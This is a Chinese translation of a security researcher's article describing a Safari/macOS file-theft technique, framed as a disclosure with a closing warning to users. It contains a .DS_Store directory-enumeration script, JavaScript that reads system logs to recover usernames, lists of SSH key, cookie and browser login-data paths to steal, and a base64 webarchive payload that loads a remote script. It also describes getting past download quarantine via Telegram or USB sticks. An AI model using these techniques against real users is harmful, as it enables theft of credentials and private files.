如何通過簡單的網頁文件從MacOS中盜取文件？

文檔、源碼、ssh密鑰、密碼等等所有的這些文件都可以傳送過去。不可能嗎？當然是可能的。一些常用的瀏覽器可能正在這樣做。

通常情況下，攻擊者的攻擊流程大致如下：

1. 用戶在瀏覽器中打開html文件2. 瀏覽器讀取用戶有許可權訪問的文件列表。3. 瀏覽器讀取重要文件，並且將他們上傳到攻擊者啟動的遠程伺服器中，這一過程會在後台進行，並且不會通知用戶。

現在我們將這一過程分成幾個階段：

階段一:在當前用戶計算機上收集關於文件的信息。階段二：讀取文件，將文件上傳到遠程伺服器上。

在階段一中，攻擊者需要得到文件列表。這一步驟不是那麼容易解決的，通常來講，開發者不會允許html頁面讀取文件夾內容，或者獲取當前路徑。猜測以及嘗試所有可能的路徑也不是一個好的選擇。雖然一些文件的路徑是通用的，比如~/.ssh/id_rsa，但是大部分文件在不同系統中存放的位置是不同的。

假設我們已經將第一階段中的限制繞過，那麼在第二階段攻擊者需要對瀏覽器的沙箱進行逃逸，進而對文件讀取，將其上傳到遠程伺服器。

得到目錄列表

MacOS不同Windows以及Linux，它具有一個很有趣的屬性，當目錄被訪問時，操作系統會產生隱藏文件:.DS_Store.

這一文件會保存文件瀏覽會話信息，包括瀏覽文件窗口的大小以及位置，查看屬性和所選圖標等信息。這一文件是自動生成的，主要目的是為了快速簡單的獲取到文件夾信息。

.DS_Store和windows下面的Thumbs.db功能類似，不過.DS_Store中還包含了文件夾以及文件名字。一旦文件夾打開，.DS_Store.

這就非常有趣了，可以通過解析.DS_Store文件很容易獲取到文件夾中文件名字。舉個例子，下方python代碼就可以做到這一點:

##!/usr/bin/env pythonfrom ds_store import DSStoreimport jsonpath = 『/Users/USERNAME/.DS_Store』def parse(file): filelist = [] for i in file: if i.filename!=』.』: filelist.append(i.filename) return list(set(filelist))d=DSStore.open(path, 『r+』)fileresult=parse(d)print(json.dumps(fileresult))for name in fileresult: try: d = DSStore.open(path + name+ 『/.DS_Store』, 『r+』) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass

將其命名為parse_ds_store.py,執行結果如下:

$ python parse_ds_store.py[「Documents」, 「Pictures」, 「.idm」, 「Desktop」, 「Music」, 「.oracle_jre_usage」, 「Public」, 「tmp」, 「Parallels」, 「MEGA」, 「.BurpSuite」, 「Downloads」, 「.config」, 「.cache」, 「Applications」, 「.bash_sessions」, 「Creative Cloud Files」, 「PycharmProjects」, 「Applications (Parallels)」, 「Dropbox」, 「Nextcloud」, 「.iterm2」, 「.Trash」, 「Scripts」, 「Movies」, 「MEGAsync Downloads」, 「Soft」, 「.local」, 「.ssh」, 「Library」, 「.pgadmin」]

可以看到，我已經得到我當前目錄的文件名，這就意味著，我們可以通過遞歸訪問.DS_Store文件獲取我電腦上所有具有許可權的文件目錄結構。

舉個例子，在電腦當前目錄使用這種方法，在~/.DS_Store中，我們得到如下返回:

[「Backups","Soft","Pictures",".ssh"...][

然後在Backups文件夾中，我們得到：

[「2017」, 「2016」, 「2015」, …]

進而在訪問~/Backups/2017/.DS_Store，得到

[「source」, 「sql」, 「static」, …]

以此類推。

有兩點需要提醒:

1.攻擊者需要知道當前系統的用戶名稱。

2..DS_Store文件只有當用戶有許可權訪問這一文件夾時，才會創建。

如果解決了上述兩個問題，那麼我們第一階段攻擊算是成功了。

預測有價值信息的文件路徑

什麼是有價值的信息呢？首先應該關心的是.ssh文件，他存儲了密碼加密系統的密鑰目錄。大致內容如下：

~/.ssh/id_rsa;~/.ssh/id_rsa.key;~/.ssh/id_rsa.pub;~/.ssh/known_hosts;~/.ssh/authorized_keys;

還有.bash_history，它可以讓攻擊者知道用戶之前執行的命令。

存儲cookie文件

現在，我們開始找存儲cookie的文件，首先，MacOS會將賬戶數據放在一個固定地方：

~/Library/Cookies/Cookies.binarycookies~/Library/Cookies/com.apple.Safari.cookies

twitter，Skype以及其他應用程序的cookie都可以在這一文件夾中找到。

我們進行到這一步時，還可以對返回HSTS協議的網站列表進行傳輸。

~/Library/Cookies/HSTS.plist

另外一個有用的文件是關於系統賬戶信息的文件：

~/Library/Accounts/Accounts4.sqlite

我們還可以在列表中查找其他有用的東西，可能會有意外的收穫。

~/Library/Application Support/

舉個例子，我們還可以進而找到chrome存儲的登錄數據以及cookie:

~/Library/Application Support/Google/Chrome/Default/Login Data~/Library/Application Support/Google/Chrome/Default/Cookies~/Library/Application Support/Google/Chrome/Default/History

如果運氣好的話，還可以找到ftp/sql客戶端的登錄信息，歷史記錄，以及日誌信息。

悄無聲息的訪問用戶文件

已經了解到了可以訪問到哪些重要的文件，現在讓我們嘗試從safari訪問到這些文件吧。

在chrome中，讀取本地文件並不是一件很容易的事情，除非在打開chrome中使用--disable-web-security參數。

Safari同樣也會警告不能同本地文件一同使用，比如:file://協議

但是如果文件是從互聯網上下載的，safari就會放寬它的驗證機制，因此我們可以使用XHR請求本地文件，進而返迴文件內容：

如果文件存在，那它就會執行成功。

了解了safari這種特性，我們就可以使用絕對路徑去讀取文件全部信息，然後將其上傳到遠程服務端。

但是有一點需要注意，如果我們不知道本機用戶名，那麼我們就無法得到絕對路徑。用戶名也是一個難題，比如在/etc/passwd中並不包含用戶名信息。

要解決這一問題，可以通過查看系統產生的兩個日誌文件:/var/log/system.log和/var/log/install.log.在這兩個文件中，用戶名是可以被找到的。將文件載入到瀏覽器中，通過正則表達式可以對用戶名進行提取。

下方JS代碼就是從日誌文件中提取所有用戶名的代碼：

function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(『GET』, 『/var/log/system.log;/https:%2f%2fgoogle.com/』, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(『GET』, 『/var/log/install.log;/https:%2f%2fgoogle.com/』, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; }}

得到文件

攻擊者通過文章介紹的第一部分內容之後，下一步就是得到這些文件。只是看看它是如何工作的，我們可以創建一個後端進行簡單的接收文件內容以及路徑。如果文件為.DS_Store，我們可以使用進一步進行補充。

進一步優化的話，可以利用黑/白名單的機制防止上傳大文件，或上傳指定類型文件，比如.docx。

但是，系統中如果有其他瀏覽器呢？這會不會意味著html文件會通過chrome或者opera瀏覽器打開，降低了攻擊效率呢？

為了避免這類問題，我們可以將文件後綴名改為XHTM，這一文件只能由safari打開。

XHTM的定義很清晰，是基於XML的JS內置網頁。解釋起來有點複雜，它有兩種支持的格式，每種都可以進行手動偽造：

<?xml version=」1.0" encoding=」UTF-8"?><!DOCTYPE plist PUBLIC 「-//Apple//DTD PLIST 1.0//EN」 「http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version=」1.0"><dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict></dict></plist>

數據為Base64頁面，每行包含59個符號

如何解決數據來源問題？

默認情況下，通過互聯網下載的文件都具有執行保護:

這就意味著電子郵件中的附件可能不會執行，不過有個好消息是，不是所有的下載文件都具有保護機制。舉個例子，MacOS版本的Telegram就沒有保護機制，可以直接執行。在一些實踐之後，我們通過telegram桌面版本進行傳送惡意XHTM，進而解除執行限制。

這只是一個簡單例子，其他類似的情況也是可能的。舉個例子，你可以通過一個裝有家庭照片的U盤進行傳播。

如果你想嘗試一下這一例子，你可以在我的github(Bo0oM/Safiler)上找到PoC進行實驗。

該怎麼辦？

在這個時候，作為一個Safari用戶，你不能做任何事情。顯然，蘋果不認為這個問題是安全漏洞。我們還沒有了解到有補丁來解決這一問題。

所以需要保持警惕，並且非常小心你從互聯網上下載的文件。唯一要做的就是不要使用Safari瀏覽器。

本文翻譯自：https://lab.wallarm.com/hunting-the-files-34caa0c1496，如若轉載，請註明來源於嘶吼： 如何通過簡單的網頁文件從MacOS中盜取文件？ 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀：